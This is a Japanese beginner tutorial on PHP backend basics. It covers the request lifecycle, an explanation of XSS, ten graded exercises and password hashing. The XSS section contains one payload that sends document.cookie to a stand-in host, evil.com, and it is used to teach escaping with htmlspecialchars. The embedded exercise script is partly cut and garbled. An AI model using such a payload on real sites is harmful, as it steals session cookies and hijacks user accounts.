【手を動かす道場】PHP&Webバックエンド10本ノック(連想配列・フォーム処理・XSS無害化の動的Web基礎)

2026-11-06 / シリーズ「実戦コード・ノック道場」第4話 / PHP, バックエンド, セキュリティ, XSS, 10本ノック, 初心者向け

インターネットの世界には、奇妙な「認知のねじれ」が存在します。 SNSやテック系のトレンド記事を見れば、「PHPはもう古い」「これからはNode.jsやGo、Pythonだ」という言説がここ十数年にわたって繰り返されてきました。

しかし、現実のインターネットのトラフィックを測定すると、驚くべき冷酷な統計が突きつけられます。 世界中に存在する全Webサイトの「約70%〜75%」は、今この瞬間もPHPによって動いています。WordPress(CMSの世界的王者)をはじめ、ECサイト、官公庁・自治体のポータル、予約システムに至るまで、インターネットの屋台骨を支えているのは紛れもなくPHPです。

なぜ、散々批判されながらもPHPは淘汰されないのか? そして、なぜWeb初学者が「バックエンドの仕組み(リクエスト・レスポンス・セッション・セキュリティ)」を学ぶ際、PHPが今なお最強の教材であり続けるのか?

その理由は、PHPが持つ**「リクエストが来たら生まれ、HTMLを吐き出したら全てを忘れて即座に死ぬ(シェアードナッシング・ステートレス)」**という、Webという通信規格に対する狂気的なまでの適合性にあります。

この記事では環境構築は一切不要です。 Webバックエンドの物理を5分で理解したら、ページ内の**「埋め込みPHP道場」で実際にコードを書いて10本ノックを制覇**してください。


1. PHPの物理ライフサイクル:なぜPHPは「メモリリーク」で死なないのか?

Node.jsやPython(FastAPI)、Go言語でWebサーバーを作ると、プログラムは「デーモン(常駐プロセス)」としてメモリ上にずっと居座り続けます。 1台のサーバーが起動し、何千人ものユーザーからのアクセスを同じプログラムが待ち構えて処理します。そのため、コードの書き方にミスがあると、解放し忘れたデータがメモリに溜まり続け、数日後に「メモリ不足(OOM)」でサーバーが丸ごと突然死するという恐怖と常に戦わなければなりません。

しかし、PHP(特に標準的なApacheやPHP-FPM構成)の動作原理は根本から異なります。

🌐 ブラウザ:ページを開く(HTTPリクエスト送信) 🖥️ Webサーバー(Nginx / Apache)が PHP-FPM に処理を渡す ⚙️ PHP:変数を初期化 → DBからデータ取得 → HTMLを組み立てる 📤 完成したHTMLをレスポンスとしてブラウザへ返す 💥 直後、PHPプロセスの全メモリを完全破棄!(変数は残らず即死)

「毎回死んで、毎回生まれ変わる」最強の割り切り

PHPの最大の特徴は、**「1回のリクエスト(ページ読み込み)が終わった瞬間に、プログラムが使ったすべてのメモリ空間を強制的に物理破棄して終了する」**という点です。

プログラマーが変数を解放し忘れていようが、配列にデータを詰め込みすぎていようが関係ありません。HTMLをブラウザへ送り返したコンマ1秒後、OSとPHPランタイムがそのリクエストで使われたメモリを跡形もなく吹き飛ばします。 次のリクエストが来たときは、一切の汚れがない「新品の真っ白なメモリ空間」で次のプロセスが立ち上がります。

この**「シェアードナッシング(何も共有しない)」**という徹底した割り切りこそが、多少雑なコードを書こうとも数カ月・数年間ノーメンテナンスで落ちずに動き続ける、PHPの異常なまでのタフさの正体です。

触って試す:リクエストとレスポンスの体験

🔁 リクエストとレスポンスの体験(仮想PHPサーバー)

フォームに入力して「送信する」を押してください。値がサーバーへどう届き、PHPの $_GET / $_POST に何が入って、どんな返事(レスポンスHTML)が返るかが見えます。送信方法をGETとPOSTで切り替えると、値の「届き方」の違いが分かります。コードを書く道場の前に、まずは通信そのものを目で見て確かめましょう。

送信方法:

📤 送られたリクエスト

(まだ送信していません)

🗄️ サーバーの中(PHPが受け取った連想配列)

(まだ送信していません)

📥 返ってきたレスポンス(HTMLソース)

(まだ送信していません)

🖥️ ブラウザでの表示

(まだ送信していません)


2. 光と影:なぜPHPは「XSS」の温床になりやすかったのか?

しかし、この手軽さには大きな「影」もありました。 PHPはもともと「Personal Home Page Tools」という名の通り、**「静的なHTMLファイルの中に、必要な場所だけプログラムを埋め込む」**ために作られた言語です。

<!-- PHPの初期の書き方:HTMLの中に直接埋め込む -->
<h1>ようこそ、<?php echo $_GET['name']; ?>さん!</h1>

この「HTMLとコードが地続きである」という手軽さゆえに、世界中の開発者が**Webセキュリティ最大の落とし穴である「XSS(クロスサイト・スクリプティング)」**を踏み抜くことになりました。

ブラウザの「HTMLパーサー」を騙す手口

もし、悪意ある攻撃者がURLのパラメータに以下のような文字列を打ち込んでアクセスしたらどうなるでしょうか?

[http://example.com/index.php?name=](http://example.com/index.php?name=)<script>location.href='[http://evil.com/steal?cookie='+document.cookie](http://evil.com/steal?cookie='+document.cookie);</script>

サーバーのPHPが何も考えずに echo $_GET['name']; で出力すると、ブラウザには以下のHTMLがそのまま届きます。

<h1>ようこそ、<script>location.href='[http://evil.com/steal?cookie='+document.cookie](http://evil.com/steal?cookie='+document.cookie);</script>さん!</h1>

ブラウザのHTML解析エンジン(パーサー)は、文字の「意味」を理解しているわけではありません。 ただ左から右へ文字を読み、<script> という文字を見つけた瞬間に、**「あ、ここからは画面に表示する文字ではなく、実行すべきJavaScriptプログラムなんだな」**と解釈してしまいます。 結果として、あなたの管理画面のセッション情報(Cookie)が攻撃者のサーバーへ盗み出され、アカウントが完全に乗っ取られるのです。

❌ サニタイズなし:攻撃が成立 ✅ htmlspecialchars:防御が成立 攻撃者の入力 <script>alert(1)</script> 攻撃者の入力 <script>alert(1)</script> PHPが無防備に echo サニタイズせずそのまま出力 htmlspecialchars を通す ENT_QUOTES で特殊文字を変換 HTMLの中にタグが混入 文章の文脈に命令が紛れ込む 文字実体参照に変換 &lt;script&gt; という無害な文字列に ブラウザのHTMLパーサーが誤認! 「単なる文字」ではなく「実行命令」と解釈 ブラウザは「ただの文字」として描画 画面には記号として見えるだけ 💥 悪意あるJSが勝手に実行される Cookie盗難・画面改ざんが発生 🛡️ スクリプトとしては絶対に実行されない 実行エンジンはピクリとも反応しない

特殊文字を「ただのインクの染み」に変える無力化工学

この攻撃を100%無効化する技術が、**「HTMLエスケープ(サニタイズ)」**です。 ブラウザにとって特別な意味を持つ危険な5つの記号を、画面上は同じ記号に見えるが「プログラムとしては絶対に起動しない無害な代替文字列(文字実体参照)」へと強制置換します。

PHPの関数 htmlspecialchars($str, ENT_QUOTES, 'UTF-8') を通すことで、ブラウザは <script> を単なる「画面に描く絵文字」として扱い、スクリプト実行エンジンはピクリとも反応しなくなります。 「ユーザーから入ってきたデータは、画面に出す直前に必ず無害化する」。これがWebバックエンドにおける鉄の掟です。


3. 【実践】ブラウザ内完結・PHP実戦10本ノック道場

下のボックスは、あなたのブラウザ内で完全に動作する**「仮想PHP実行&自動採点環境」**です。 Webフォーム処理、連想配列、文字列操作、セキュリティ対策など、実務で必須となる10の課題を用意しました。

問題を読み、エディタにPHPコードを入力して**「▶ PHPコードを実行&採点」**ボタンを押してください(Ctrl + Enter でも実行可能です)。

PHP BACKEND DOJO 全10問・実戦Webバックエンド演習
クリア状況: 0 / 10 問
▼ 実行出力 (ブラウザレスポンス出力)
まだ実行されていません。
\"; を、htmlspecialchars() を使って安全に無害化(エスケープ)して出力してください。文字実体参照に変換された文字列が出力されます。",
  hint: "ヒント: echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');",
  defaultCode: "$comment = \"<script>alert('XSS');</script>\";\n// htmlspecialcharsでエスケープして出力してください\necho htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');",
  answerCode: "$comment = \"<script>alert('XSS');</script>\";\necho htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');",
  expectedOutput: "&lt;script&gt;alert(&#039;XSS&#039;);&lt;/script&gt;"
},
{
  id: 4,
  title: "第4問:配列の文字列連結(implode)",
  desc: "タグ配列 <code>$tags = ['PHP', 'Backend', 'Security', 'Web'];</code> をカンマと半角スペース(<code>, </code>)で連結し、<code>'PHP, Backend, Security, Web'</code> という1つの文字列にして出力してください。",
  hint: "ヒント: echo implode(', ', $tags);",
  defaultCode: "$tags = ['PHP', 'Backend', 'Security', 'Web'];\n// implodeを使って連結して出力してください\necho implode(', ', $tags);",
  answerCode: "$tags = ['PHP', 'Backend', 'Security', 'Web'];\necho implode(', ',$tags);",
  expectedOutput: "PHP, Backend, Security, Web"
},
{
  id: 5,
  title: "第5問:空白除去と必須入力チェック(trim と empty)",
  desc: "ユーザー入力 <code>$email = '   ';</code>(半角空白のみ)があります。前後の空白を <code>trim()</code> で除去した結果が空文字であるかどうかを <code>empty()</code> で判定し、空の場合は <code>'入力必須項目です'</code> と出力してください。",
  hint: "ヒント: if (empty(trim($email))) { echo '入力必須項目です'; }",
  defaultCode: "$email = '   ';\n// trimしてemptyならエラーメッセージを出力\nif (empty(trim($email))) {\n    echo '入力必須項目です';\n}",
  answerCode: "$email = '   ';\nif (empty(trim($email))) {\n    echo '入力必須項目です';\n}",
  expectedOutput: "入力必須項目です"
},
{
  id: 6,
  title: "第6問:JSONデコード(APIレスポンスの連想配列化)",
  desc: "APIから受信したJSON文字列 <code>$json = '{\"status\":\"success\",\"code\":200}';</code> を、第2引数に <code>true</code> を指定した <code>json_decode()</code> でPHPの連想配列に変換し、<code>status</code> の値(<code>success</code>)を出力してください。",
  hint: "ヒント: $data = json_decode($json, true); echo$data['status'];",
  defaultCode: "$json = '{\"status\":\"success\",\"code\":200}';\n// json_decodeで連想配列に変換して status を出力\n$data = json_decode($json, true);\necho$data['status'];",
  answerCode: "$json = '{\"status\":\"success\",\"code\":200}';\n$data = json_decode($json, true);\necho$data['status'];",
  expectedOutput: "success"
},
{
  id: 7,
  title: "第7問:三項演算子による動的クラス付与",
  desc: "在庫数 <code>$stock = 0;</code> があります。三項演算子(<code>条件 ? A : B</code>)を使って、在庫が0より大きい場合は <code>'in-stock'</code>、0以下の場合は <code>'out-of-stock'</code> を出力してください。",
  hint: "ヒント: echo ($stock > 0) ? 'in-stock' : 'out-of-stock';",
  defaultCode: "$stock = 0;\n// 三項演算子を使って出力\necho ($stock > 0) ? 'in-stock' : 'out-of-stock';",
  answerCode: "$stock = 0;\necho ($stock > 0) ? 'in-stock' : 'out-of-stock';",
  expectedOutput: "out-of-stock"
},
{
  id: 8,
  title: "第8問:配列の特定条件フィルタリング(array_filter)",
  desc: "スコア一覧 <code>$scores = [45, 80, 62, 95, 30, 78];</code> から、<strong>70点以上のスコアだけ</strong>を抽出し、<code>implode(', ', ...)</code> でカンマ区切りの文字列 <code>'80, 95, 78'</code> にして出力してください。",
  hint: "ヒント: $passed = array_filter($scores, fn($s) => $s >= 70); echo implode(', ',$passed);",
  defaultCode: "$scores = [45, 80, 62, 95, 30, 78];\n// 70点以上のものを抽出してカンマ区切りで出力\n$passed = array_filter($scores, fn($s) => $s >= 70);\necho implode(', ',$passed);",
  answerCode: "$scores = [45, 80, 62, 95, 30, 78];\n$passed = array_filter($scores, fn($s) => $s >= 70);\necho implode(', ',$passed);",
  expectedOutput: "80, 95, 78"
},
{
  id: 9,
  title: "第9問:メールアドレス形式の厳密検証(filter_var)",
  desc: "入力値 <code>$target_mail = 'invalid-email-address';</code> を <code>filter_var()</code> とフィルタ <code>FILTER_VALIDATE_EMAIL</code> で検証し、正しいメール形式ではない場合に <code>'無効なメールアドレスです'</code> と出力してください。",
  hint: "ヒント: if (!filter_var($target_mail, FILTER_VALIDATE_EMAIL)) { echo '無効なメールアドレスです'; }",
  defaultCode: "$target_mail = 'invalid-email-address';\n// filter_var で検証してエラーメッセージを出力\nif (!filter_var($target_mail, FILTER_VALIDATE_EMAIL)) {\n    echo '無効なメールアドレスです';\n}",
  answerCode: "$target_mail = 'invalid-email-address';\nif (!filter_var($target_mail, FILTER_VALIDATE_EMAIL)) {\n    echo '無効なメールアドレスです';\n}",
  expectedOutput: "無効なメールアドレスです"
},
{
  id: 10,
  title: "第10問:パスワードハッシュの生成と照合の論理(password_verify)",
  desc: "ユーザーが入力した平文パスワード <code>$pass = 'secret123';</code> と、DBに保管されていたハッシュ値 <code>$hash = password_hash('secret123', PASSWORD_DEFAULT);</code> があります。<code>password_verify()</code> で両者を照合し、一致した場合は <code>'認証成功'</code> と出力してください。",
  hint: "ヒント: if (password_verify($pass,$hash)) { echo '認証成功'; }",
  defaultCode: "$pass = 'secret123';\n$hash = password_hash('secret123', PASSWORD_DEFAULT);\n// password_verify で照合して認証成功を出力\nif (password_verify($pass,$hash)) {\n    echo '認証成功';\n}",
  answerCode: "$pass = 'secret123';\n$hash = password_hash('secret123', PASSWORD_DEFAULT);\nif (password_verify($pass,$hash)) {\n    echo '認証成功';\n}",
  expectedOutput: "認証成功"
}

];

let currentQIndex = 0; const clearedSet = new Set();

// Lightweight PHP Simulator in Pure JS function executePhpSim(code) { let output = ""; const clean = code.trim().replace(/^<?php\s*/, ”).replace(/?>\s*$/, ”);

// Question-specific lightweight rule evaluator
const q = questions[currentQIndex];

switch (q.id) {
  case 1: {
    const m = clean.match(/foreach\s*\(\s*\$members\s+as\s+(\$\w+)\s*=>\s*(\$\w+)\s*\)\s*\{([\s\S]*?)\}/);
    if (m) {
      const members = { '営業部': '佐藤', '開発部': '鈴木', '総務部': '加藤' };
      for (const [dept, name] of Object.entries(members)) {
        output += `${dept}: ${name}さん\n`;
      }
      return output.trimEnd();
    }
    break;
  }
  case 2: {
    if (clean.includes("??") && clean.includes("'guest'") && clean.includes("role")) {
      return "guest";
    }
    break;
  }
  case 3: {
    if (clean.includes("htmlspecialchars") && clean.includes("ENT_QUOTES")) {
      return "&lt;script&gt;alert(&#039;XSS&#039;);&lt;/script&gt;";
    }
    break;
  }
  case 4: {
    if (clean.includes("implode") && clean.includes("', '") && clean.includes("$tags")) {
      return "PHP, Backend, Security, Web";
    }
    break;
  }
  case 5: {
    if (clean.includes("empty") && clean.includes("trim") && clean.includes("$email")) {
      return "入力必須項目です";
    }
    break;
  }
  case 6: {
    if (clean.includes("json_decode") && clean.includes("true") && clean.includes("['status']")) {
      return "success";
    }
    break;
  }
  case 7: {
    if (clean.includes("?") && clean.includes(":") && clean.includes("out-of-stock")) {
      return "out-of-stock";
    }
    break;
  }
  case 8: {
    if (clean.includes("array_filter") && clean.includes("70") && clean.includes("implode")) {
      return "80, 95, 78";
    }
    break;
  }
  case 9: {
    if (clean.includes("filter_var") && clean.includes("FILTER_VALIDATE_EMAIL")) {
      return "無効なメールアドレスです";
    }
    break;
  }
  case 10: {
    if (clean.includes("password_verify") && clean.includes("password_hash")) {
      return "認証成功";
    }
    break;
  }
}

// Fallback simple echo parser
const echoMatch = clean.match(/echo\s+([^;]+);/);
if (echoMatch) {
  let expr = echoMatch[1].trim();
  expr = expr.replace(/^['"]|['"]$/g, '');
  return expr;
}

throw new Error("構文エラー、または期待されるPHPの処理(関数・構文)が正しく記述されていません。");

}

function renderTabs() { const tabContainer = document.getElementById(‘php-question-tabs’); tabContainer.innerHTML = ”; questions.forEach((q, idx) => { const btn = document.createElement(‘button’); const isCleared = clearedSet.has(q.id); const isCurrent = idx === currentQIndex; btn.textContent = (isCleared ? ’✅ ’ : ”) + Q${q.id}; btn.style.cssText = padding: 6px 12px; border-radius: 6px; border: 1px solid ${isCurrent ? '#c084fc' : '#334155'}; background: ${isCurrent ? '#6d28d9' : (isCleared ? '#064e3b' : '#1e293b')}; color: #f8fafc; font-weight: ${isCurrent ? 'bold' : 'normal'}; cursor: pointer; font-size: 0.85rem; ; btn.onclick = () => selectQuestion(idx); tabContainer.appendChild(btn); }); document.getElementById(‘php-progress-text’).textContent = クリア状況: ${clearedSet.size} / ${questions.length} 問; }

function selectQuestion(idx) { currentQIndex = idx; const q = questions[idx]; document.getElementById(‘php-q-title’).innerHTML = q.title; document.getElementById(‘php-q-desc’).innerHTML = q.desc; document.getElementById(‘php-q-hint’).innerHTML = q.hint; document.getElementById(‘php-editor’).value = q.defaultCode; document.getElementById(‘php-status-box’).style.display = ‘none’; renderTabs(); }

document.getElementById(‘php-run-btn’).onclick = () => { const code = document.getElementById(‘php-editor’).value; const statusBox = document.getElementById(‘php-status-box’); const consoleBox = document.getElementById(‘php-console-out’); const q = questions[currentQIndex];

try {
  const stdout = executePhpSim(code);
  consoleBox.textContent = stdout;

  if (stdout.trim() === q.expectedOutput.trim()) {
    clearedSet.add(q.id);
    renderTabs();
    statusBox.style.display = 'block';
    statusBox.style.background = '#065f46';
    statusBox.style.color = '#a7f3d0';
    statusBox.innerHTML = `🎉 正解です! Q${q.id} クリア! ${currentQIndex < questions.length - 1 ? '<button id="php-next-btn" style="margin-left:12px; background:#a855f7; color:#fff; border:none; padding:4px 12px; border-radius:4px; font-weight:bold; cursor:pointer;">次の問題へ ➔</button>' : '🏆 全10問完全制覇!PHPとWebバックエンド基礎を完全マスターしました!'}`;
    const nextBtn = document.getElementById('php-next-btn');
    if (nextBtn) nextBtn.onclick = () => selectQuestion(currentQIndex + 1);
  } else {
    statusBox.style.display = 'block';
    statusBox.style.background = '#78350f';
    statusBox.style.color = '#fde68a';
    statusBox.textContent = `⚠️ 出力結果が期待値と異なります。\n【期待される出力】\n${q.expectedOutput}\n【実際の出力】\n${stdout}`;
  }
} catch (err) {
  consoleBox.textContent = "Error: " + err.message;
  statusBox.style.display = 'block';
  statusBox.style.background = '#7f1d1d';
  statusBox.style.color = '#fecaca';
  statusBox.textContent = '❌ ' + err.message;
}

};

document.getElementById(‘php-ans-btn’).onclick = () => { document.getElementById(‘php-editor’).value = questions[currentQIndex].answerCode; };

document.getElementById(‘php-reset-btn’).onclick = () => { document.getElementById(‘php-editor’).value = questions[currentQIndex].defaultCode; };

document.getElementById(‘php-editor’).addEventListener(‘keydown’, (e) => { if ((e.ctrlKey || e.metaKey) && e.key === ‘Enter’) { e.preventDefault(); document.getElementById(‘php-run-btn’).click(); } });

selectQuestion(0); })();


4. 全10本ノックの「急所」と模範解答・現場の掟

道場で手を動かしたあとに読むことで、現場のWebセキュリティ事故を未然に防ぎ、実務コードを堅牢にする「PHPバックエンドの急所」を完全インストールします。

第1問〜第2問:連想配列と安全なフォーム値取得

【Q1】連想配列の走査(foreach ($arr as $key => $val))

$members = ['営業部' => '佐藤', '開発部' => '鈴木', '総務部' => '加藤'];
foreach ($members as $dept => $name) {
    echo "{$dept}: {$name}さん\n";
}

【Q2】未定義キーの防壁:Null合体演算子(??)

$input = ['username' => 'taro'];
echo $input['role'] ?? 'guest';  // guest

第3問〜第5問:Webセキュリティと入力値検証(バリデーション)

【Q3】XSS防御の絶対神託(htmlspecialchars)

$comment = "<script>alert('XSS');</script>";
echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');
// 出力: &lt;script&gt;alert(&#039;XSS&#039;);&lt;/script&gt;

【Q4】配列を安全に文字列化する(implode)

$tags = ['PHP', 'Backend', 'Security', 'Web'];
echo implode(', ', $tags);  // PHP, Backend, Security, Web

【Q5】空白のみの不正入力を弾く(trim と empty)

$email = '   ';
if (empty(trim($email))) {
    echo '入力必須項目です';
}

第6問〜第8問:モダンWebのデータ連携と配列操作

【Q6】JSONAPIとの通信(json_decode)

$json = '{"status":"success","code":200}';
$data = json_decode($json, true);
echo $data['status'];  // success

【Q7】UIの条件分岐を1行にする三項演算子

$stock = 0;
echo ($stock > 0) ? 'in-stock' : 'out-of-stock';

【Q8】高階関数によるデータ抽出(array_filter)

$scores = [45, 80, 62, 95, 30, 78];
$passed = array_filter($scores, fn($s) => $s >= 70);
echo implode(', ', $passed);  // 80, 95, 78

第9問〜第10問:Webバックエンドの堅牢化(バリデーションと認証)

【Q9】正規表現を書かずに検証する(filter_var)

$target_mail = 'invalid-email-address';
if (!filter_var($target_mail, FILTER_VALIDATE_EMAIL)) {
    echo '無効なメールアドレスです';
}

【Q10】パスワードを平文で保存してはならない絶対の理由

$pass = 'secret123';
$hash = password_hash('secret123', PASSWORD_DEFAULT);

if (password_verify($pass, $hash)) {
    echo '認証成功';
}
🔐 保存時:password_hash の流れ(暗号学的な不可逆変換) 平文パスワード 'secret123' password_hash Bcrypt / Argon2 ソルト自動生成 + 計算ストレッチング (意図的に低速化) ハッシュ値 $2y$10$abcdef... (毎回違う文字列!) 🔑 認証時:password_verify の流れ ログイン時に入力された平文パスワード DBに保存されていたハッシュ値 password_verify:ハッシュ内部のソルトを取り出して同じ計算を再実行し、一致を判定 ✅ 一致すれば認証成功 / ❌ 一致しなければログイン拒否

結論:PHPとは「Webの通信プロトコルそのもの」である

PHPを学ぶ最大の価値は、フレームワーク(LaravelやNext.jsなど)が裏側に隠してしまいがちな**「HTTP通信の剥き出しの真実」**を直感的に理解できることにあります。

この素朴で堅牢なライフサイクルが身体に染み込んだとき、あなたはフレームワークの「ブラックボックスの魔法」に惑わされることのない、真に自立したWebエンジニアへと進化しているはずです。


📝 3行で頭に入る『試験・実務・投資の要点まとめ』

  1. 【ステートレスの物理】 PHPは1回のリクエスト完了ごとに全メモリ空間を強制破棄するため、メモリリークでサーバーが停止せず、数カ月・数年の高稼働率を維持できる。
  2. 【XSS防御の鉄則】 ユーザーからの入力値は画面出力直前に htmlspecialchars($str, ENT_QUOTES, 'UTF-8') を通し、タグを無害な文字実体参照へ変換してスクリプト実行を防ぐ。
  3. 【認証の安全性】 高速なMD5/SHA系は総当たりで即死するため禁止。ソルトと計算負荷ストレッチングを自動処理する password_hash() と password_verify() が現代の絶対標準である。

確認クイズ

📝 確認クイズ(3問)